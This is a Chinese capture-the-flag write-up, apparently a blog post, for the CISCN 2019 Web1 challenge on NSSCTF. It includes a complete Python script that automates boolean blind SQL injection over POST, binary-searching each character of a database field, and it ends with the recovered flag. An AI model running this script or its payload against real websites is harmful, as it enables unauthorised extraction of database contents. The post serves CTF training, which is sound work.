SQL注入(盲注——二分法POST)

@[toc]SQL注入

[CISCN 2019华北Day2]Web1

题目

在这里插入图片描述

解题分析

测试SQL注入点和回显结构
输入1
在这里插入图片描述

输入1’,1’#,1’%23等测试均回显

在这里插入图片描述
可以尝试SQL盲注

题解

提示:因为是表单,故采用POST二分法

import requests
import time

url = "http://node4.anna.nssctf.cn:28573/index.php"
flag = ''

if __name__ == "__main__":

    for i in range(1, 100):
        min = 33
        max = 130
        mid = int((max - min) / 2)
        while True:
            payload = {
                'id': '0^' + '(ascii(substr((select(flag)from(flag)),{},1))>{})'.format(i, mid)
            }
            #print(payload)
            res = requests.post(url=url, data=payload).text
            time.sleep(0.005)
            #print(res)
            if 'Hello' in res:
                min = mid
                mid = int((max + min) / 2)
            else:
                max = mid
                mid = int((max + min) / 2)
            #print("此时的最大值为{}, 最小值为{}, 中间值为{}".format(maxa,mina,mid))
            if (max-min) <= 1:
                flag += chr(max)
                print(flag)
                break
        if '}' in flag:
            break


执行得到flag

NSSCTF{d5343df9-bb92-44e2-8b88-c10a8e0cd6f7}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值